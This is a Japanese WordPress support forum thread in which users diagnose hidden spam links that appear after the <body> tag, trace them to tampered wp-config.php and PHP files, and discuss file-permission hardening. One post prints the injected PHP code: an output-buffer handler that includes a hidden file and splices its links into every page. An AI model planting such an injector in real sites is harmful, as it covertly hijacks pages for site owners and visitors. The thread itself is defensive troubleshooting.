PHPファイルに不正なコードが埋め込まれる
-
はじめまして、以前からWordPressを使っていますが、このたび何者かによってハックされてしまったようです。
具体的には、
<body>
のあとに、<div style="position:absolute;left:-48667px;top:-65558px"><!--779212266--><h1>sony ericsson k300i downloads</h1> Nokia <a href="http://www.jjsdesign.net/forum/?info-about=632" title="sony k300i downloads ericsson">sony k300i downloads ericsson</a>
・・・・・・・
in our database that you can offer on your site!</div>
<div id="page">
といったように、膨大な広告リンクが埋め込まれてしまいます。
WordPressをアップグレードしたり、テンプレートのファイルを見ましたが解決しません。
どなたか解決方法を教えていただければ幸いです。
-
タイトルを変更しました。:-)
wp-config.phpが書き換えられた原因が分かったらまた教えてください。
ソースを差し替えた際も、wp-config.phpは古いものを流用していたため、見逃してしまっておりました。
この部分がどういった経緯で混入したのか現時点で不明ですが、一旦解決かと思っております。
実はずっと前から広告コードが入っていた可能性がありますね。通常の閲覧では見えないので、見逃されていた可能性があります。発見されたご友人がすばらしい仕事をされた、ということですね。
WordPress のインストーラによって wp-config.php を生成した場合、ウェブサーバーによる書き込み権限が残っています。したがって、悪意あるプラグイン/テーマを実行すると、wp-config.php に悪いコードを入れられる可能性はあります。
今までに使用したことのあるプラグインやテーマを覚えている限り、リストアップしてみください。このフォーラムに記載される場合は、分かる範囲で配布元 URL も書いてもらえると助かります。
余談になりますが、wp-config.php を生成したあとは、書き込み権限を落とすのが安全ということですね。本当は、ファイルのオーナーを変更すると完璧ですが、ちょっと手間がかかります。
書き込み権限が残った状態で、まず FTP/SFTP で wp-config.php を読み取りし、それから wp-config.php を削除してから、FTP/SFTP で wp-config.php をアップロードします。こうすれば、FTP/SFTP ツールによって、あなたが所有者となるファイルを生成できます。
WordPress のセキュリティー向上を指南する記事はいくつかありますが、wp-config.php のパーミッションについて言及したものは少なかったと思うので、喚起が必要かもしれませんね。このへんは、ちょっとがんばってみます。
tai さん:
タイトルを変更しました。:-)
ありがとうございます。
でも、よく考えたら、今回の現象は「wp-config.php の書き換えによる不正な広告コードの挿入」であって、クラックされたかどうかは不確かですよね。つまり、より適切なタイトルは「HTML 出力に不審な広告コードが入る」とか、そういう感じだと思います。
今回、「ハック」とか「クラック」とか扇動的な言葉があったので、多くの人があわてて対応しましたが、実際には大した現象ではなかった気がします。
フォーラムの最新情報は WordPress 日本語版のダッシュボードにも出てくるので、「ハックされました」「クラックされました」というのがいっぱい並ぶのは、精神衛生上よくないので、もっと具体的な現象を示すものに再修正した方がいいかもしれません。
折りしも WordPress 2.7.1 がリリースされたタイミングなので、「すわ 2.7 にセキュリティーホールか??」と思う人がおられるかもしれませんし 😉
wordpressを同じサーバーで複数(12テーマ)運営していますが、今回の件は大変参考になりました。
経験上スパムが入って来やすいのは海外(特に米国)のテーマをインストールした後なのですが、wp-config.php を改ざんされるケースは初めて聞いたのでwp-config.phpnoパーミッションの変更(600にするなど)を含めて緊急メンテナンスを行いました。
素人でもできる対策の一例として、今後はプラグインやテーマ(特に海外製)をhttp://virusscan.jotti.org/(数十のエンジンでウイルスチェックできるサイト)などでチェックしてからインストールしたいと思います。
私の知識レベルは相当低いのですが、こうした事案は全てのwordpressユーザーにとても重要な情報と知識を与えていただけるので、フォーラムの設置・運営していただいている方に大変感謝しています。今後ともよろしくお願い致します。
みなさま、
タイトルではお騒がせしてしまいまして申し訳ありません。
たしかに緊急度という意味では低いことでありました。また、不完全な情報に対して、有益なアドバイスを多くいただき、感謝しております。
過去の丸ごとバックアップファイルを調べてみたところ、lilyfanさんのおっしゃるとおり、以前からクラックされた状態でした。
かつ、所持している同一サーバの4つのWordPress blogのうち、3つが汚染?されておりました。加えて、wp-admin.phpだけでなく、ほぼすべての.phpファイルの冒頭にクラックコードと思われるコードが挿入されていました。
これらは、ドメイン等は別なのですが、サーバ上では同一ディレクトリ以下にあります。
/home/username/www/以下
(==public_html)この階層にあり、かつWordPressディレクトリ以下にはない、アクセス解析用のスクリプト(shortstat)も汚染されており、状況的に見て、この配下にあるすべての.phpファイルが汚染されていた、という可能性もありそうです。
この上位ディレクトリ(/home/usrname/hogehoge/)にあるphpファイルは無事でした。
基本的にほとんどのファイルは644に設定してあり、wp-config.phpも644でした。
また、wp-config.phpは手動で作成しているので、オーナーもftpアカウントとなっています。それぞれのblogでは試したテーマ、プラグインはさまざまなので、どれか一つのblogから他のblogに汚染が広がった可能性もあります(そもそも可能なのかどうかちょっとわかりませんが)。
WOrdPress自体は、2.0のころから使っており、サーバ上でももう使っていないblogもあるため、古いソースと新しいソースとが混在していましたが、バージョンを変えたバックアップファイルも汚染されていたため、なにかのスクリプト実行時にファイルを書き換えていくのか?と思っております。
とりあえず、汚染されていると思われるソースはすべてサーバから削除しているところですが、さらになにかわかりましたらまた書き込みたいと思います。
書き込み権限の件で一言。
ぼくもさくらのレンタルサーバを使用しています。このサーバではPHPはsuEXEC環境のCGIモードで動作します。なので、Apacheが(PHP経由で)ファイルを操作する際は、ディレクトリ・オーナーのパーミッションになります。つまり、ファイルパーミッションが644だと、ユーザ自身が書き込みできるため、Apacheも書き込みできるわけです。
したがって、Apacheからの書き込みを防ぐには、パーミッションを444にする必要があります。
取り急ぎ。ahaseg さん
ご自分だけの問題とは言い切れないのでさくらの管理者の方へ状況を知らせて調査してもらってください。
またまだ原因が分かったわけではないようですので解決済は解除しておきます。フォーラムの最新情報は WordPress 日本語版のダッシュボードにも出てくるので、「ハックされました」「クラックされました」というのがいっぱい並ぶのは、精神衛生上よくないので、もっと具体的な現象を示すものに再修正した方がいいかもしれません。
修正しました。
tenpuraさん、みなさん、
確かに解決済みではないですね。失礼しました。
さくらの管理グループには状況の説明を行っています。
該当ファイルはサーバからは削除してしまったのですが、もしご興味のある方がいましたら研究?のために公開したいと思っております。追って経過を報告いたします。
タイトルではお騒がせしてしまいまして申し訳ありません。
たしかに緊急度という意味では低いことでありました。質問のタイトルを付けるのは、なかなか難しいですよね。コツとしては「発生している現象をできるだけ素直に具体的に書く」ことです。クラックされたか、だと少し抽象的だと思います。
# ただし、自分が作ったことのないユーザーが増えているとか、自分以外のXML-RPC 接続が今現在行なわれているとか、「クラックされた」という具体的証拠があれば、そういうタイトルでも構いません。
加えて、wp-admin.phpだけでなく、ほぼすべての.phpファイルの冒頭にクラックコードと思われるコードが挿入されていました。
すなわち、wp-config.php ならずとも、WordPress の本体ファイルもすべて改変されていた、ということでしょうか。それは「侵入された」に近い状況だと思います。
それぞれのblogでは試したテーマ、プラグインはさまざまなので、
覚えている限りすべて列挙してもらえれば助かります。著名なテーマ/プラグインでも、バージョンによっては汚染されていたり脆弱性があったりしますので、漏れのないようにお願いします。
同様の被害の訴えが結構あります。
ahaseg さん、これらを読んで何か思い当たりますか?
http://www.tinyportal.net/index.php?topic=26106.0;all
http://forums.b2evolution.net/viewtopic.php?t=17247
http://www.xoops.org/modules/newbb/viewtopic.php?post_id=297046
http://www.simplemachines.org/community/index.php?topic=291486.0
http://www.simplemachines.org/community/index.php?topic=275312.0そういえば、以前フォーラムで「コード難読化を使っているテーマの改造をしたい」という相談がありました。
WordPress 公式テーマディレクトリーで配布されているテーマは、審査ずみのため安全のはずですが、それ以外の場所で配布されているものは、こういう難読化手法が使われていることがあります。そういうプラグインは安全とは言い難いので使うべきではありません。また、そういうコーディング手法を見つけたら、どしどし告発するべきでしょう。
おそらく、ahaseg さんが過去使ったことのあるテーマ・プラグインに、悪意あるコードが含まれたものがあったのでしょう。
同僚に埋め込まれたソース(添付します)を読んでもらいました。
http://www.simplemachines.org/community/index.php?topic=291486.0
にもPOSTされているように、ある特定のファイルを読み込ませて、その中に定義されているgml()という関数を呼び出して、<body>直後にその戻り値を挿入しているようです。
私のケースでは、
/home/username/www/sitename/wordpress/wp-includes/js/tinymce/themes/
advanced/images/xp/js.php
にgml()が定義されているようです。
(上記フォーラムだとcopper.phpとなています)tinymce自体はWYSWYGエディタのJSのようです。
ということで、なんらかのテーマがこのgml()を呼び出し、Apacheで操作できる(=public_html以下)のファイルに再帰的に書き換えが行われたようです。
汚染されたWordPressは、Rinというテーマを友人がカスタマイズしたものを使っていました。
以下ソースです(ディレクトリ名は書き換えてあります):
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){ $GLOBALS['sh_no']=1; if(file_exists('/home/username/www/sitename/wordpress/wp-includes/js/ tinymce/themes/advanced/images/xp/js.php')){ include_once('/home/username/www/sitename/wordpress/wp-includes/js/ tinymce/themes/advanced/images/xp/js.php'); if(function_exists('gml')&&!function_exists('dgobh')){ if(!function_exists('gzdecode')){ function gzdecode($d){ $f=ord(substr($d,3,1)); $h=10; $e=0; if($f&4){ $e=unpack('v',substr($d,10,2)); $e=$e[1]; $h+=2+$e; } if($f&8){ $h=strpos($d,chr(0),$h)+1; } if($f&16){ $h=strpos($d,chr(0),$h)+1; } if($f&2){ $h+=2; } $u=gzinflate(substr($d,$h)); if($u===FALSE){ $u=$d; } return $u; } } function dgobh($b){ Header('Content-Encoding: none'); $c=gzdecode($b); if(preg_match('/\<body/si',$c)){ return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c); } else{ return gml().$c; } } ob_start('dgobh'); } } }
このスレッドはとても重要ですね・・・・
予防策としては、peace.journeyさまが書かれていた、
wp-config.php
ファイルのパーミッションを444にする、ということだと理解いたしました。
早速サイトに反映させました。そもそも、wp-config.phpという極めて重要なファイルが、WP設置した直下に置かれてある仕組みというのは怖いなぁと思いました・・・・
1ユーザとして、フォーラムでの皆様のご尽力に感謝しております。
僕もさくらサーバーの一つで同じ状況になりました。通常は見えないのですが「ktai_style」を使った携帯サイトですと、TOPにこのソースがずらずらと出てくる事で気づきました。
発生元はいまだに不明です。テーマファイル、プラグインファイルなど様々なファイルにこのコードが書き加えられていました。
アメリカのフォーラムにあったいくつかの解決策では結局解決出来なかったため全てのファイルを削除後、クリーンなものに入れ替えることで対応しました。内容的にはアフェリエイト用のHTMLコードが書かれているだけのようですが、明らかに実害がありますのできちんとした対応策が分かると助かります。
- トピック「PHPファイルに不正なコードが埋め込まれる」には新たに返信することはできません。